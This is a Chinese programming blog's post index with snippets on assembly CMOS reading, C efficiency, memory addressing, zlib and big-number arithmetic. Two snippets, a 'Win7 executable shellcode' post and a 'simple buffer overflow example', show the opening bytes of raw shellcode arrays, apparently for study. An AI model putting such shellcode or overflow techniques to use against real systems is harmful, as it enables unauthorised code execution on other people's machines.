- 博客(8)
- 资源 (11)
- 收藏
- 关注
原创 16位汇编读取CMOS时间并显示
;***************************************; 程序功能:读取CMOS时间并显示; CMOS读写方法如下:; 1.向地址端口70H写入要访问的单元地址; 2.从71H端口读出数据; 注意:CMOS中存放的是BCD码; 数码: 0 1 2 3 4; BCD码:0000 0001 0010 0011 0100 ; 数码:
2013-01-23 13:42:52 3632
转载 编写高效C语言的四大绝招
编写高效简洁的C语言代码,是许多软件工程师追求的目标。本文就是针对编程工作中的一些体会和经验做相关的阐述。第一招:以空间换时间计算机程序中最大的矛盾是空间和时间的矛盾,那么,从这个角度出发逆向思维来考虑程序的效率问题,我们就有了解决问题的第1招--以空间换时间。比如说字符串的赋值:方法A:通常的办法#define LEN 32char string1 [LE
2013-01-23 10:11:36 659
转载 物理地址与线性地址详解
1. Linear Space & Physical Space 在硬件工程师和普通用户看来,内存就是插在或固化在主板上的内存条,它们有一定的容量——比如64 MB。但在应用程序员眼中,并不过度关心插在主板上的内存容量,而是他们可以使用的内存空间——他们可以开发一个需要占用1 GB内存的程序,并让其在OS平台上运行,哪怕这台运行主机上只有128 MB的物理内存条。而对于OS开发者
2013-01-20 13:06:01 526
转载 VC使用Zlib对内存流进行压缩与解压缩
//zlib官网 "http://zlib.net/"//在工程根目录放入文件//zlib.h//zlib.lib//zconf.h//加载Zlib相应的函数以及库#include "zlib.h"#pragma comment(lib,"zlib.lib")//对于已知数组b 以及数组长度COUNT //压缩BYTE *com=new BYTE[COUNT];unsi
2013-01-19 14:37:06 2728 1
转载 WIN7下可执行的ShellCode
#include #include int main(){ byte shellcode[] = { 0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x
2013-01-16 21:45:22 4315
原创 简单缓冲区溢出示例
#include #include #include #include unsigned char shellcode[] ="\xEB\x42\x8B\x59\x3C\x8B\x5C\x0B\x78\x03\xD9\x8B\x73\x20\x03\xF1""\x33\xFF\x4F\x47\xAD\x33\xED\x0F\xB6\x14\x01\x38\xF2\x74\x08\xC
2013-01-16 20:41:42 1379
原创 内联汇编计算2个16进制的大数
#include #include #include #include int main(void){ // 128bit数字 // 20304050607080908070605040302010(Hex) + 60E0A0B0C080907060504030A0F0F0F0(Hex) = 8110e10120f11100e0c0a080e12111
2013-01-15 17:08:08 895
三十分钟掌握STL
2011-09-19
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人